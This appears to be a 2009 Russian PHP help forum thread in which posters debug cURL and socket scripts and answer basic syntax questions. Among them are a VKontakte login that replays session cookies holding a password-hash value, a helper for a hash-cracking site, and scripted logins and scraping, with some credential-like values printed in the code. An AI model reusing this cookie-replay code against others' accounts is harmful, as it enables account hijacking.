Из жопы походу у меня руки растут:
<?php
$cookie="remixgroup_closed_tabs=0;
__utmz=201049257.1233593411.1.1.utmcsr=(direct)|ut mccn=(direct)|utmcmd=(none);
remixap=1; __utma=201049257.3076849887214152000.1233593411.12 34635662.1234962445.6;
remixclosed_tabs=0; remixlang=0; remixchk=5;
remixmid=912398;
remixemail=qweqwe%40rambler.ru;
remixpass=599f177f9001aqwe124d5c8e984b8fb6;
remixsid=25c6b5df7f43d9e06b12346b3cc527a170aee47b4 84c36737c5c79;
remixautobookmark=30";
$ref = 'http://vkontakte.ru/';
$ch=curl_init ("http://vkontakte.ru/login.php");
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch,CURLOPT_POSTFIELDS,$zapros);
$page = curl_exec($ch);
echo $page;
?>
Не логинится, какие догадки ?

Дык,ты куда заходишь то????????

$ch=curl_init ("http://vkontakte.ru/login.php");

Ето страница авторизацыи,ты просто заходи суда

$ch=curl_init ("http://vkontakte.ru/");

Толькочто всои куки проверил именно на етом примере,пашет.

AkyHa_MaTaTa
03.03.2009, 21:59
покажи наверно код, вариантов может быть уйма, может буферизация вывода,или javascript ждет полной загрузки страницы(аля DOM ready, onLoad в смысле), а может еще че, короче покажи код сначало,
кстати это
__utmz=201049257.1233593411.1.1.utmcsr=(direct)|ut mccn=(direct)|utmcmd=(none);
__utma=201049257.3076849887214152000.1233593411.12 34635662.1234962445.6;
гугловские куки и не нужны в принципе.

Mixon
03.03.2009, 22:08
покажи наверно код, вариантов может быть уйма, может буферизация вывода, а может еще че, короче покажи код сначало,
кстати это
__utmz=201049257.1233593411.1.1.utmcsr=(direct)|ut mccn=(direct)|utmcmd=(none);
__utma=201049257.3076849887214152000.1233593411.12 34635662.1234962445.6;
гугловские куки и не нужны в принципе.

Насчёт куков,то я в етом сообшении же,в начале писал

В куки нужно для роботы контакта лишь remixemail=,remixpass=,remixsid= и всё...

такчто ето для меня не новость то)

А насчёт примера,то вот,кста,ето тот же вывод в 'тестовое поле' лога,что ты в теме ajax несмог подсказать мне)) Вот пример в маленький скрипт переписал.

<?php
ob_start();
ob_implicit_flush(0);

echo '<div id="stats" style="padding:4px;width:500px;height:350;overflow:auto;b order-width:1px 1px 1px 1px;border-color:black;border-style:solid;"></div>';

for ($i=0; $i<10; $i++){
echo "<script>msg=\"<center>Текст<center><br>\";document.getElementById(\"stats\").innerHTML=document.getElementById(\"stats\").innerHTML+msg;</script>";
flush();
ob_flush();
sleep(1);
}
?>

AkyHa_MaTaTa
03.03.2009, 22:14
А насчёт примера,то вот,кста,ето тот же вывод в 'тестовое поле' лога,что ты в теме ajax несмог подсказать мне)) Вот пример в маленький скрипт переписал.

<?php
ob_start();
ob_implicit_flush(0);

echo '<div id="stats" style="padding:4px;width:500px;height:350;overflow:auto;b order-width:1px 1px 1px 1px;border-color:black;border-style:solid;"></div>';

for ($i=0; $i<10; $i++){
echo "<script>msg=\"<center>Текст<center><br>\";document.getElementById(\"stats\").innerHTML=document.getElementById(\"stats\").innerHTML+msg;</script>";
flush();
ob_flush();
sleep(1);
}
?>
А ты сам не видешь? Отключи буферизацию вывода, то что в цыкле ты ее вызываешь многократно суть дела не меняет, и когда я говорил про ajax я имел ввиду ajax а не это.

Mixon
03.03.2009, 22:19
Есле отключить буферизацыю вывода,то вовсе будет белая страница пока цыкл и весь скрипт полностью выполниться...Ето вовсе весь скрипт на мусорку с такой роботой...
А проблему то решил,банальным выводом любого теста на страницу,чтобы браузер роздуплить,что страница не пустая)
Насколько я понял,то в браузерах стоит для удобства зашита,типа пока сами html теги,чтобы не выводилось,потому что сразу будет страница изуродована с кусками кода,а по мере загрузки полных,и мест отображения она выводиться))
Такчто оказалось скрипт не виноват))

zifanchuck
04.03.2009, 15:52
опять(((
есть hash.html он передает текст в таком виде:
hash2:6QjhhTu9Hdqio
hash3:/vk32P04c07oE

<html>
<head>
<title>Скрипт для hash.brute.ru</title>
<link rel="stylesheet" type="text/css" media="all" href="a.css">
</head>
<body>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<center>
<form method="GET" action="hash.php"> Введите хеши<br><textarea name="name" cols="60" rows="15" wrap="VIRTUAL" class=text2></textarea> <br>
<input type="submit" name="okbutton" value="Перевести">
</center>
</body>
</html>

передает hash.php который должен приобразить етот текст в:
6QjhhTu9Hdqio
/vk32P04c07oE

<?php
$text = $_GET['name'];
preg_match('#:(.*)#', $text, $out);
echo $out[1];
?>

ка мне зделать что бы отображалось норм?

zifanchuck
04.03.2009, 16:27
.:EnoT:. спс но оно мне выдает Array ( [0] => 6QjhhTu9Hdqio [1] => /vk32P04c07oE ) а мне надо
6QjhhTu9Hdqio
/vk32P04c07oE (((

-=Static=-
04.03.2009, 16:33
.:EnoT:. спс но оно мне выдает Array ( [0] => 6QjhhTu9Hdqio [1] => /vk32P04c07oE ) а мне надо
6QjhhTu9Hdqio
/vk32P04c07oE (((

<?php
$text = $_GET['name'];
preg_match_all('#:(.*)#', $text, $out);

echo implode("<br />\n",$out[1]);

zifanchuck
04.03.2009, 16:38
-=Static=- спс огромное))

Велемир
04.03.2009, 17:06
Эта...Чейгойто в Вертриго 2.21 нету директивы allow_url_include ? А phpinfo() отображает её...
Пришлось вручную дописать.Директивы там,кстати,не все,как на чистых апачах.

mailbrush
04.03.2009, 17:41
zifanchuck, либо так... Гетом передаешь file.php?name=hash2:123,hash3:456,hash4:789
<?php
$c=explode(",",$_GET['name']);
for($i=0;$i<=count($c);$i++) {
list($name, $hash)=explode(":", $c[$i]);
echo $hash."<br>"; }
?>

MaTpOc
04.03.2009, 21:59
Как мне выводить в статус В Контакте, реальное время?

Zedi
04.03.2009, 23:40
вообще я тя не очень понял, на контактах в жизни не был, ноесли там можно картинку вставлять то картинкой, вот даже накалякал <?php
$image_width = 100;
$image_height = 30;
$data = date('H:i:s');
$image = imagecreate($image_width, $image_height);
$fon = imagecolorallocate($image, rand(0, 30), rand(0, 30), rand(0, 30));
$rndc = imagecolorallocate($image, rand(100, 255), rand(100, 255), rand(100, 255));
$font = rand(5, 6);
$c_x = rand(4, 9);
$c_y = rand(0, 2);
imagestring($image, $font, $c_x, $c_y, $data, $rndc);
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
Header("Content-type: image/png");
ImagePng($image);
?>

Ctacok
04.03.2009, 23:43
Всё время спросить хотел
Чо за $i++ ?)
Чо то не стал гуглить)

Zedi
04.03.2009, 23:47
Ctacok, если ты хочешь узнать чтозначит $i++ как я понял, то это значит что значение переьенной данной ты увеличиваешь на 1

[dei]
05.03.2009, 01:26
Всё время спросить хотел
Чо за $i++ ?)
Чо то не стал гуглить)
постинкремент, т.е. сначала возвращаем значение переменной, а потом к переменной прибавляем единицу.

Zitt
05.03.2009, 01:34
Всё время спросить хотел
Чо за $i++ ?)
Чо то не стал гуглить)
блин люди я конешно понимаю новичек и все такое... но это основы, это есть в первых главах каждогго учебника по php....

Корвин
05.03.2009, 14:39
Zitt, +1, перед тем как програмить нада хотя бы книжку прочитать "php за 24 часа" =)))

Buffalon
05.03.2009, 15:35
После прочтения такой книжки, не программить, а говнокодить)
ХЗ , если ты програмил на С+ , то думаю проблем не возникнет , часов 10 думаю от силы - а дельше ОПЫТ

Корвин
05.03.2009, 16:05
После прочтения такой книжки, не программить, а говнокодить)

ну хотя бы не будет вопросов что такое $i++

ХЗ , если ты програмил на С+ , то думаю проблем не возникнет , часов 10 думаю от силы - а дельше ОПЫТ

кто програмил на С+ не задают таких вопросов

awdrg
05.03.2009, 16:39
Хм, а скрипт загрузки аватаров в контакт на php есть в паблике?

MaTpOc
05.03.2009, 17:44
Хм, а скрипт загрузки аватаров в контакт на php есть в паблике?

я видел онли скомпилированный код на делфи...

а если на php и есть, то уж точно не паблик!

wildshaman
05.03.2009, 18:12
я видел онли скомпилированный код на делфи...

а если на php и есть, то уж точно не паблик!


Почему это точно не паблик? Это не такой сложный скрипт.
Авторизовываемся, заходим на страничку загрузки авы и передаем ей нашу картинку. Все...

awdrg
05.03.2009, 18:31
Можно совет, каким образом передавать картинку? До этого пока еще не додумался >_<

blaga
05.03.2009, 19:51
если кому то то путь передаем до картинки. если себе то копируем просто. в чем проблема то?

awdrg
05.03.2009, 19:53
я имею ввиду загрузка картинки (аватары) вконтакт php скриптом :D

blaga
05.03.2009, 19:59
там для этого стандартная кнопка "обзор" если мне память не изменяет там передаеться просто путь до картинки, что на диске.

awdrg
05.03.2009, 20:03
я понимаю, но каким образом можно организовать мультисессионную передачу? Обычным Post'ом контакт не принимает файл :(

[dei]
06.03.2009, 02:25
я понимаю, но каким образом можно организовать мультисессионную передачу? Обычным Post'ом контакт не принимает файл :(
что значит обычным post'ом? там multipart/form-data. используй сниффер.

Shadow_p1raT
06.03.2009, 07:11
ппц....

<?php
$url = 'http://localhost/test/1.php';// Путь до скрипта который принимает файл
$file = 'C:\wamp\www\test\ie.css'; // Путь до нашего файла
$data = array('file' => '@' . $file); // Заголовки при отправке(снифаем снифером) и не забываем ставить @
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
curl_setopt($ch, CURLOPT_HEADER, true);
$res = curl_exec($ch);
curl_close($ch);
echo $res;

?>

Buffalon
06.03.2009, 13:44
9287
ТЫ не забудь сказать что тут присутствует curl , его нужно устанавливать отдельно -> очень хорошая штука :))

Велемир
06.03.2009, 13:47
Вопрос по курлу: Как получить информацию после авторизации ? Возвращается только ответ от серва,приведённый ниже:

200 OK Server: nginx/0.6.34 Date: Fri, 06 Mar 2009 09:42:08 GMT Content-Type: text/html; charset=Windows-1251 Connection: keep-alive Last-Modified: Sat, 03 Jan 2009 07:46:12 GMT ETag: "2f75fd-6f8-45f8f40627900" Accept-Ranges: bytes Content-Length: 1784

ЗЫ: Ещё непонятно,авторизовался ли я вообще - поменял пароль в пост запросе,и опять вернуло 200. )Вот мой мега код:

$url = "http://www.site.ru/login.php";
$req = "login%3dWelemir%26pass%3dqwertyui";
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_TIMEOUT,60);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
$result = curl_exec($ch);
curl_close($ch);
echo $result;

Велемир
06.03.2009, 17:07
Продолжение эпопеи:

<?php
$ua = "fuck you";
$url = "http://www.adultconvert.ru/login.php";
$req = "login=gaga&pass=gaga&go=%C2%EE%E9%F2%E8";
$ref = 'http://adultconvert.ru/';
$ar = "Connection : Keep-Alive";

$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT, $ua);
curl_setopt($ch,CURLOPT_REFERER, $ref);
curl_setopt($ch,CURLOPT_COOKIEJAR, './cook');
curl_setopt($ch,CURLOPT_COOKIEFILE, './cook');
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$result = curl_exec($ch);
curl_close($ch);


$ch = curl_init("http://www.adultconvert.ru/akk/links.php");
curl_setopt($ch,CURL_REFERER,"http://www.adultconvert.ru/akk/news.php");
curl_setopt($ch,CURLOPT_COOKIEJAR, './cook');
curl_setopt($ch,CURLOPT_COOKIEFILE, './cook');
$result = curl_exec($ch);
if(preg_match('|<a href="(.*)".*</a>|',$result,$x)) {

print_r($x);

}

?>

Выводит всю страницу.Получается,что шаблон не работает?

Теперь другой скрипт:

<?php

$str = '<a href="script.php" </a>';

if(preg_match('|<a href="(.*)".*</a>|',$str,$x)) {

print_r($x);


}

?>

Но тут работает :(

Rubaka
06.03.2009, 17:19
не факт шо во 2 крипте усе работает!у тя $str то состоит полностью из того шо тебе нады найти! от оно тебе всю $str и выводит

b3
06.03.2009, 18:23
Готово

<?php
$login = '';
$pass = '';
################################################## ############
################################################## ############
$ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.11) Gecko/20071127 Firefox/3.0.0.3';
$url = 'http://www.adultconvert.ru/login.php';
$req = "login=$login&pass=$pass&go=%C2%EE%E9%F2%E8";
$ref = 'http://adultconvert.ru/';
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT, $ua);
curl_setopt($ch,CURLOPT_REFERER, $ref);
curl_setopt($ch,CURLOPT_COOKIEJAR, './cook');
curl_setopt($ch,CURLOPT_COOKIEFILE, './cook');
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$result = curl_exec($ch);
curl_close($ch);
################################################## ############
sleep(1);
################################################## ############
$ch = curl_init('http://www.adultconvert.ru/akk/links.php');
curl_setopt($ch,CURLOPT_REFERER,'http://www.adultconvert.ru/akk/news.php');
curl_setopt($ch,CURLOPT_COOKIEJAR, './cook');
curl_setopt($ch,CURLOPT_COOKIEFILE, './cook');
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_USERAGENT, $ua);
$result = curl_exec($ch);
curl_close($ch);
preg_match_all('#value=\"(.*?)\"#',$result,$matches);
################################################## ############
foreach ($matches[1] as $link) {
echo $link.'<br>';

}
?>

je0n
07.03.2009, 04:17
всякие маленькие сайты читаются через сокеты при таком коде:

<form method='POST'>
server:<input type='text' name='server' size=50><br>
<input type='submit' value='hAck)'>
</form>
<?php
$server=$_POST['server'];
$s=fsockopen($server,80,$err,$err_msg);
if(!$s)echo "($err) - $err_msg";
else
{
echo "<font color='green'>me connected to <b>$server</b>... tring to HaCk the systen my Lord)</font><br>";
$str=""; //string whitch gets all text before length you need
fputs($s,"GET / HTTP/1.1 \nHost: $server\nUser-Agent: Opera mini\nAccept: text/html\nAccept-Language: ru,en-us\nAccept-Charset: windows-1251\n\n");
while(!feof($s)) //strpos($str,"Content-Length")===false
{
$str.=fgets($s,1000);
}
echo nl2br(htmlspecialchars($str));
}
?>

а вот сайты покрупнее уже нет! Например,ниодин поисковик не выдают свою страницу по этому хттп-запросу. рамблер,например, выдает какую-то страничку 302 found.
Я так понимаю, что они как-то обрабатывают мой запрос и в нем не хватает какого-то ключевого параметра, но я не всосу какого :( все что знал, понавпихивал в запрос.
Короче, помогите составить запрос, чтобы все сайты читались этим скриптом

[dei]
07.03.2009, 04:22
je0n, скрипт правильно работает, например запрос rambler.ru возвращает редирект на www.rambler.ru, как и должно быть
Location: http://www.rambler.ru/
советую почитать спецификацию протокола HTTP

чтобы небыло долгого ожидания ответа сервера добавь вконце заголовок
Connection: close

je0n
07.03.2009, 05:13
Блин! я заморочился с сокетами, тока ради того чтобы получать длинну страницы из заголовка страницы Content-length, а всю остальную страницу уже вообще не читать! А оказалось, что этот заголовок возвращается на редком сервере!Корочь, я обломался. Нельзя ли как-нить особенно обратится к серверу, чтобы он полубому вернул заголовок Content-length?

DDoSька
07.03.2009, 09:16
Блин! я заморочился с сокетами, тока ради того чтобы получать длинну страницы из заголовка страницы Content-length, а всю остальную страницу уже вообще не читать! А оказалось, что этот заголовок возвращается на редком сервере!Корочь, я обломался. Нельзя ли как-нить особенно обратится к серверу, чтобы он полубому вернул заголовок Content-length?
ИМХО лучше на курл перейди

je0n
07.03.2009, 10:08
ИМХО лучше на курл перейди
в курле есть возможность получить content-length любой страницы, не получая хтмл-код?
Меня сейчас это волнует, через сокеты этот параметр чето нифига не появляется, по крайней мере тем путем, каким делаю я :( хнык

KIR@PRO
07.03.2009, 10:11
ИМХО лучше на курл перейди смысл? =) сокеты меньше кода :D

KIR@PRO
07.03.2009, 10:24
2je0n

попробуй так:

fputs($s,"GET / HTTP/1.1\nAccept: text/html\nAccept-Language: en-us\nUser-Agent: Mozilla/4.0 \n\n");

t4Nk
07.03.2009, 11:03
Блин! я заморочился с сокетами, тока ради того чтобы получать длинну страницы из заголовка страницы Content-length, а всю остальную страницу уже вообще не читать! А оказалось, что этот заголовок возвращается на редком сервере!Корочь, я обломался. Нельзя ли как-нить особенно обратится к серверу, чтобы он полубому вернул заголовок Content-length?

когда формируешь http-пакет, вместо GET пиши HEAD, тогда сервер вернет только заголовки, а оттуда уже распаришь content-length.

geforse
07.03.2009, 11:16
У меня есть форма (<form>) в которой два поля, мне нужно чтобы человек вводил только в одной из них (на выбор, либо в перовй либо во второй)


if (($_POST['1']) and ($_POST['2']))
{
echo ("Ошибка");


Вобщем всё работает .... но может есть более изящный чтоли метод решения этой задачи ? :)

Zedi
07.03.2009, 11:24
Что может быть изящнее? Разве что на яве еще прикрепить, чтобы когда в одно поле что нить вводил другое очищалось)

geforse
07.03.2009, 11:33
Zedi спасибо ... просто думал может оператор есть какой то для этих целей )))

DDoSька
07.03.2009, 12:04
смысл? =) сокеты меньше кода :D
Если тебе лень печатать,то пожалуйста
.

m0Hze
07.03.2009, 12:38
Zedi спасибо ... просто думал может оператор есть какой то для этих целей )))
или? ||,&& - вот так попробуй,любой.

DDoSька
07.03.2009, 13:35
или? ||,&& - вот так попробуй,любой.
Любой?
|| - или
&&- и
насколько я помню

Zedi
07.03.2009, 13:37
Вот ему нужно И, то есть &&, а не любой, и смысл этого? На 1 символ меньше?

m0Hze
07.03.2009, 18:10
Товарищ,напомните срочно,помню такое есть,но вот память отказывает.
В общем.
Есть Query_string = filimon=15&gangubas=55
Так вот,та функция\переменная,выдавал а эти данные в формате массива.Тоесть,название поля => значение,и т.д.
Переводить в массив в ручную лень,так что ищеться так функция.Точно говоря вам было такое... :)

Zedi
07.03.2009, 18:14
С помощью explode и foreach можно сделать, а функцию такую не знаю

DDoSька
07.03.2009, 18:15
С помощью explode и foreach можно сделать, а функцию такую не знаю
ее знать не надо,ее создать нужно ;)

m0Hze
07.03.2009, 18:44
найн-найн!
Есть встроеная вариация.Блея помню.
Написать то не проблема,хочеться ту вспомнить...

m0Hze
07.03.2009, 18:47
Ехладно отчаядся я насти ее уже :(
Написал свою :(

mailbrush
07.03.2009, 19:16
Вот что надумал я =)
function marray($string) {
$all=explode("&",$string);
$first=explode("=",$all[0]);
$second=explode("=",$all[1]);
print_r($first);
print_r($second); }

m0Hze
07.03.2009, 19:37
Ну а вот мой вариант.

function get_str($str)
{
$val = explode('&', $str);
for ($i = 0; $i < count($val); $i++) {
list($ov[$i],$zn[$i])= explode('=',$val[$i]);
}
$res = array_combine($ov,$zn);
return($res);
}
$str = 'hash=234234&cuka=212121&lox=Hud';
print_r(get_str($str));

mailbrush
07.03.2009, 19:45
Эм... не знал о функции array_combine. Спс!

m0Hze
07.03.2009, 19:48
Эм... не знал о функции array_combine. Спс!
10 минут назад я тоже не знал,но я буду еще долго говорить Еноту спасибо за то что он грубо послал меня на php.net, месяца 3 назад :)

astrologer
07.03.2009, 20:11
Товарищ,напомните срочно,помню такое есть,но вот память отказывает.
В общем.
Есть Query_string = filimon=15&gangubas=55
Так вот,та функция\переменная,выдавал а эти данные в формате массива.Тоесть,название поля => значение,и т.д.
Переводить в массив в ручную лень,так что ищеться так функция.Точно говоря вам было такое... :) parse_str (http://php.net/parse_str)();

m0Hze
07.03.2009, 20:26
а я сидел и вспоминал :(
parse_url только в голове и крутилось...

awdrg
07.03.2009, 21:20
скажите пожалуйста, как можно создать текстовое поле (textarea) и кнопку, при нажатии на которую содержимое заисывалось в текстовый файл? заранее спасибо
и еще вопрос: имеется код
$fp = fsockopen($hostname, 80, $errno, $errstr, 300);
...
fwrite($fp, $headers.$data);
echo $fp;

но вместо ответа сервера он выводит:
Resource id#2
Почему?

PaCo
07.03.2009, 21:36
$fp = fsockopen($hostname, 80, $errno, $errstr, 300);
...
fwrite($fp, $headers.$data);
echo $fp;

но вместо ответа сервера он выводит:
Resource id#2
Почему?
потому что $fp - resource handle.

Ch3ck
07.03.2009, 21:40
http://forum.alfaspace.net/6_5754_0.html